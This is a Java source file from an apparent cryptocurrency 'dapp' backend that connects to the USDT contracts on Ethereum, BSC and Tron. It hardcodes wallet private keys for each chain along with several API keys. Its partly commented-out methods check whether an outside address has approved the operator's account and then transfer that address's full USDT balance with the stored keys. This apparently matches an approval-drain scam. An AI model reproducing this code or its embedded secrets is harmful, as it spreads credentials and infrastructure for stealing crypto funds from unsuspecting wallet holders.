package cc.mrbird.febs.dapp.chain;
|
|
import cc.mrbird.febs.common.exception.FebsException;
|
import cn.hutool.core.util.StrUtil;
|
import cn.hutool.http.HttpUtil;
|
import com.alibaba.fastjson.JSONObject;
|
import org.springframework.data.repository.query.ParameterOutOfBoundsException;
|
|
import java.math.BigDecimal;
|
import java.math.BigInteger;
|
import java.rmi.activation.UnknownObjectException;
|
|
/**
|
* @author
|
* @date 2022-03-23
|
**/
|
public class ChainService {
|
|
private final static String TRX_ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL";
|
private final static String TRX_PRIVATE = "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb";
|
private final static String TRX_CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
|
private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";
|
|
private final static String ETH_URL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
|
private final static String ETH_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D";
|
private final static String ETH_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb";
|
private final static String ETH_CONTRACT_ADDRESS = "0xdac17f958d2ee523a2206206994597c13d831ec7";
|
|
private final static String BSC_URL = "https://bsc-dataseed.binance.org";
|
private final static String BSC_ADDRESS = "0x971c09aA9735EB98459B17EC8b48932D24CbB931";
|
private final static String BSC_PRIVATE = "0x5f38d0e63157f535fc21f89ea13ec3cd245691c20795c1d2cb60233b3ba7bb47";
|
private final static String BSC_CONTRACT_ADDRESS = "0x55d398326f99059fF775485246999027B3197955";
|
|
private final static ContractChainService ETH = new EthService(ETH_URL, ETH_ADDRESS, ETH_PRIVATE, ETH_CONTRACT_ADDRESS);
|
private final static ContractChainService BSC = new EthService(BSC_URL, BSC_ADDRESS, BSC_PRIVATE, BSC_CONTRACT_ADDRESS);
|
private final static ContractChainService TRX = new TrxService(TRX_ADDRESS, TRX_PRIVATE, TRX_CONTRACT_ADDRESS, API_KEY);
|
|
private final String ETH_PREFIX = "0x";
|
|
private ChainService() {
|
}
|
|
public final static ChainService INSTANCE = new ChainService();
|
|
public static ContractChainService getInstance(String chainType) {
|
switch (chainType) {
|
case "ETH" :
|
return ETH;
|
case "BSC" :
|
return BSC;
|
case "TRX" :
|
return TRX;
|
default:
|
break;
|
}
|
|
throw new FebsException("参数错误");
|
}
|
|
public static void main(String[] args) {
|
// 0x391040eE5F241711E763D0AC55E775B9b4bD0024 0x977A9dDFb965a9A3416Fa72cA7F91c4949c18f25
|
System.out.println(getInstance("BSC").balanceOf("0x977a9ddfb965a9a3416fa72ca7f91c4949c18f25"));
|
|
// System.out.println(getInstance("BSC").decimals());;
|
|
// System.out.println(getInstance("ETH").allowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
|
}
|
//
|
// /**
|
// * 获取制定账号的USDT余额
|
// *
|
// * @param address
|
// * @return
|
// */
|
// public BigDecimal balanceOf(String address) {
|
// BigDecimal balance = BigDecimal.ZERO;
|
// if (address.contains(ETH_PREFIX)) {
|
// balance = ETH.tokenGetBalance(address);
|
// } else {
|
// balance = TRX.balanceOf(address);
|
// }
|
// return balance;
|
// }
|
//
|
// /**
|
// * 判断地址是否授权给制定账户
|
// *
|
// * @param address
|
// * @return
|
// */
|
// public boolean isAllowance(String address) {
|
// BigInteger result;
|
// if (address.startsWith(ETH_PREFIX)) {
|
// result = ETH.ethAllowance(address);
|
// } else {
|
// result = TRX.allowance(address);
|
// }
|
//
|
// return result.intValue() != 0;
|
// }
|
//
|
// /**
|
// * 获取地址授权数量
|
// *
|
// * @param address
|
// * @return
|
// */
|
// public int allowanceCnt(String address) {
|
// String response = HttpUtil.get("https://apiasia.tronscan.io:5566/api/account/approve/list?address=" + address);
|
// String total = JSONObject.parseObject(response).getString("total");
|
// return Integer.parseInt(total);
|
// }
|
//
|
// public String transfer(String address) {
|
// BigDecimal amount = balanceOf(address);
|
//
|
// return transfer(address, amount);
|
// }
|
//
|
// public String transfer(String address, BigDecimal amount) {
|
// String hash;
|
// if (address.startsWith(ETH_PREFIX)) {
|
// String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
|
// JSONObject data = JSONObject.parseObject(resp);
|
// hash = ETH.approveTransfer(address, amount, data.getString("avgPrice"));
|
// } else {
|
// hash = TRX.transfer(address, amount);
|
// }
|
// return hash;
|
// }
|
//
|
// public static void main(String[] args) {
|
//// System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5)));
|
//
|
//// System.out.println(new EthService().ethAllowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
|
// System.out.println(ChainService.INSTANCE.balanceOf("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
|
// }
|
}
|